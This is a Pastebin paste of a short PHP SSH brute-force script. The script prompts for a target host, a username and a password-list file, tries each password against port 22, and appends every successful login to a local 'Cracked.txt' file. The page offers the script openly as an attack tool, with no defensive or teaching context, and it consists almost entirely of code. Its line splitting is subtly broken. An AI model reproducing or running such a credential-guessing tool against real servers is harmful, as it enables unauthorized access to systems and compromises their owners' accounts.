Advertisement
hamzakiller21

ssh brut force

Jan 2nd, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. <?
  2. echo"
  3. !*******************************!
  4. !SSh brut force by hamza killer !
  5. !by hamza killer !
  6. !linux-dz net boomber-ilyes !
  7. !*******************************!";
  8. echo"\nhost ==>";
  9. $host =trim(fgets(STDIN,1024));
  10. echo"\nuser ==>";
  11. $user =trim(fgets(STDIN,1024));
  12. echo"password list ==>";
  13. $passz=trim(fgets(STDIN,1024));
  14. $pass=file_get_contents($passz);
  15. $password=explode("/n/r",$pass);
  16. foreach($password as $pwd){
  17. $conect=ssh2_connect($host,22);
  18. if($conect){
  19. $login=ssh2_auth_password($conect,$user,$pwd);
  20. if($login){
  21. $ru="\n[+]Cracked:\nhost:$host\nuser:$user\n$password:$pwd\n";
  22. echo $ru;
  23. $fp=fopen("Cracked.txt","a+");
  24. fwrite($fp,$ru);
  25. fclose($fp);
  26. }
  27. }
  28. }
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement